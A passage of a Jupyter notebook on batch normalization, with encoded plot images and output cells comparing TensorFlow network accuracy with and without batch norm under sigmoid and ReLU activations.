UlJC94QDzVu/h\n852HAIj0hNEnJYakmAjCwwRPmHC4rIrcgyUUlR3pYx4VHkZiTAQJ0a7+urJa2bzfS0X1sQ2cItAn\nOYbwMGF7fgkD02KZMiKd5xftICU2gkevySAm0sPirfks2VaAt7yqLsCGiatnrr3Kv2HCAAZ1OzKR\n4r7DZahCemJUu39PKisryc3Npazs2FHwZWVlREe3fHBmVxaKZYbGyx0dHU3fvn2JiDi6HSfQhuaQ\nCgrlvx1I1OjL4JLHj1lXU6NcOnMB+d4KPrw7i5jIY69IO5uiskpKK6sJDwsjTNwV9T7ftN15ReXk\nF1ewp7CMuV/kgoRx85kDGNMvmQWbDrBgUx67G5haIzoijEHd4imvqqa0opq4qHBuOmMA12b2IybS\nw77DZTy3cDuLt+ZzbWY/rjmtL+GeMKprlDdX7OL5hdvZe7iMgyWVVFTVEOERUuMiSYmN5GBJBfuL\nyusG64zolcgFo3qSHBdJbkEJOb4AUKNKVbUSG+mhX2os/VJiiYsKp7C0kkOlFRSWVFJUXkVRWRWC\nu8of1iuBQd3i67pJrvh8OVedfw4xkR5qapT31u3jiQ82sWb3YSaf0p1HrhlLWnxUO/612s62bdtI\nSEggLS3tmIBUVFREQkL7t4F1pFAsMzRcblUlPz+foqIiBg06uqajM/Q+6nSaGrz26vJcvtx1mMev\nz+gSAQEgITriqF4dybGRDEg7dlrwsxLyWViUxt//uw1V19XvrJO7ceukVE7pmcCQdNfXedn2gyzZ\nVkBOQQnRkR5iIjxsPeDlV3PX8PgHmzh9YAofrt9PdY0yMC2On722mr99upXrT+/Hv5blsmm/l2E9\nE8ga2oPkuAgSoyPwlleR7y2noLiCkb2T6JcaQ9+UWDIHpDCwW/CelZ23Kazu7xgWJpw/sidfG5HO\n5v1eBneP7/TVak0pKytj4MCBnfZO1nQcESEtLY0DBw60eh8hFRTqprmop6iskofmb2Bc/2QuHdu7\nA3IWXCnRYTw8dSzfyxpMUVkVo/okNdh76cLRvRrsVbJ0ewGzsrfw2bYCbpwwgG+dNYh+qTG8t3Yf\nD83fwG/nrWdw9zj+fOM4po5suAdLZyAiHdKTLBgsIJjGHO93I3SCQlUFYVrdYEPznz7aTJ63nL/f\nknlC/7O1dDbXWqcPTOX0acfOxfS1kT05d1gPNu7zMjQ9nvA2aIswxnSs0PkvrvQN3ql3p7B292Ge\nXbCdK8f1YWw/e+BNS4V7whjRO9ECQoi46667+OMf/1j3/vzzz+fWW490ILz77rt57LHH2L17N1df\nfTUAK1asYN68I50Q77vvPh555JE2yc9zzz3Hnj17Glw3bdo0Bg0aREZGBsOGDeP+++8PaH+7d+9u\nNs2MGQ3O1nOUrKwsMjOPVOEvW7asS4yyD53/5Erf1LV+dwoHisr5zgvLSImL4J4LhnVQxozpOs46\n6ywWLnTzWNbU1JCXl8eaNWvq1i9cuJCJEyfSu3dvXn31VeDYoNCWmgoKAA8//DArVqxgxYoVPP/8\n82zbtq3Z/TUXFFpi//79vPvuu63atqqqqvlEQRA61Uf17hTKq6q57R/LyS8u51/fnUiPhNDr0ma6\nvvvfWsPa3Yfr3ldXV+PxHF9HiRG9E/nVJSMbXDdx4kTuuusuANasWcOoUaPYs2cPBw8eJDY2lnXr\n1jFu3Di2b9/OxRdfzOeff869995LaWkpCxYs4Gc/+xkAa9euJSsri507d3LnnXdyxx13APDYY4/x\nzDPPAHDrrbdy55131u3ryy+/BOCRRx7B6/UyatQoli1bxq233kpcXByLFi0iJqbhcUi13Xfj4lzn\nhl//+te89dZblJaWMnHiRP7617/y73//m2XLlnHjjTcSExPDokWL+PLLL/nhD39IcXExUVFRfPDB\nBwDs3r2bqVOnsmXLFq644goeeuihBo/7k5/8hN/85jdccMEFx+Tne9/7HsuWLSM8PJzHHnuMyZMn\n89xzz/Haa6/h9Xqprq7m/vvv51e/+hXJycmsXr2aa6+9ltGjR/P4449TXFzM3LlzGTx4cGB/2ACF\n3p1CZCyqys9eW83yHQd59JoMRvdN6ti8GdNF9O7dm/DwcHbu3MnChQs588wzmTBhAosWLWLZsmWM\nHj2ayMgjo8MjIyP59a9/zXXXXceKFSu47rrrAFi/fj3z589nyZIl3H///VRWVrJ8+XKeffZZPvvs\nMxYvXszf/vY3vvjii0bzcvXVV5OZmcnTTz/NihUrGgwIP/nJT8jIyKBv375cf/319OjhHlIzY8YM\nli5dypdffklpaSlvv/123f5mz57NihUr8Hg8XHfddTz++OOsXLmS999/v+4YK1as4OWXX2b16tW8\n/PLL5OTkNJjHM888k8jISD766KOjls+cORMRYfXq1bz00kvccsstdYHr888/59VXX+Xjjz8GYOXK\nlcyaNYt169bx4osvsnHjRpYsWcLNN9/Mk08+GeifLmAheKcQw8tLc3jt813c9dWhXDSmbeZwMaYj\n1L+ib48++xMnTmThwoUsXLiQH/3oR+zatYuFCxeSlJTEWWedFdA+LrroIqKiooiKiqJHjx7s27eP\nBQsWcMUVV9RdzV955ZV8+umnXHrppa3O68MPP8zVV1+N1+vlvPPOq6ve+uijj3jooYcoKSmhoKCA\nkSNHcskllxy17YYNG+jVqxenn346AImJR0aAn3feeSQluYvJESNGsGPHDvr160dDfvGLX/DAAw/w\n+9//vm7ZggULuP322wEYNmwYAwYMYONGN/3blClTSE090rHj9NNPp1cvd54aPHgwX/va1wAYOXIk\nixYtavVn05gQulNwQeFAuYcH3lnHmSelcfu5J3dwpozpemrbFVavXs2oUaM444wzWLRoUd0JNxBR\nUUcGDno8nibrz8PDw6mpOTJivaGR3M2Jj48nKyuLBQsWUFZWxve//31effVVVq9ezXe+850W77Ml\n+T/33HMpLS1l8eLFAe27Nig2dKywsLC692FhYUFpdwihoOCqj574JJcaVR66ekyn7U9vTGc2ceJE\n3n77bVJTU/F4PKSmpnLo0CEWLVrUYFBISEigqKio2f1OmjSJN954g5KSEoqLi3n99deZNGkS6enp\n7N+/n/z8fMrLy3n77beP2rfX621231VVVXz22WcMHjy4LgB069YNr9db1yBeP6+nnHIKe/bsYenS\npYC7C2vtSfgXv/jFUe0OkyZNYvbs2QBs3LiRnTt3csopjTyqrZ2FUFBwdwoLd5byswuGHTUPkDEm\ncKNHjyYvL48zzjjjqGVJSUl069btmPSTJ09m7dq1ZGRk8PLLLze633HjxjFt2jTGjx/PhAkTuPXW\nWzn11FOJiIjg3nvvZfz48UyZMoVhw470FJw2bRp33nknGRkZlJaWHrPP2jaFMWPGMHr0aK688kqS\nk5P5zne+w6hRozj//PPrqodq93fbbbeRkZFBdXU1L7/8Mrfffjtjx45lypQprbpLAbjwwgvp3r17\n3fvvf//71NTUMHr0aK677jqee+65o+4IOlJQ5z4SkanA47ips59W1QfrrR8GPAuMA36uqs12Xm7t\n3Ee7Coq44tF5DOnflxe/MzGk7hJOlKeQtcSJXOZ169YxfPjwBteF4jxAoVhmaLrcDX1HOnzuIxHx\n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\nAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7ecd2dd8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 0.01, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Using a sigmoid activation function works better than the ReLU in the previous example, but without batch normalization it would take a tremendously long time to train the network, if it ever trained at all. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 1, and bad starting weights.**<a id=\"successful_example_lr_1\"></a>" ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:38<00:00, 1313.14it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.11259999126195908\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:36<00:00, 520.39it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9243997931480408\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.11349999904632568\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9208000302314758\n" ] }, { "data": { "image/png": "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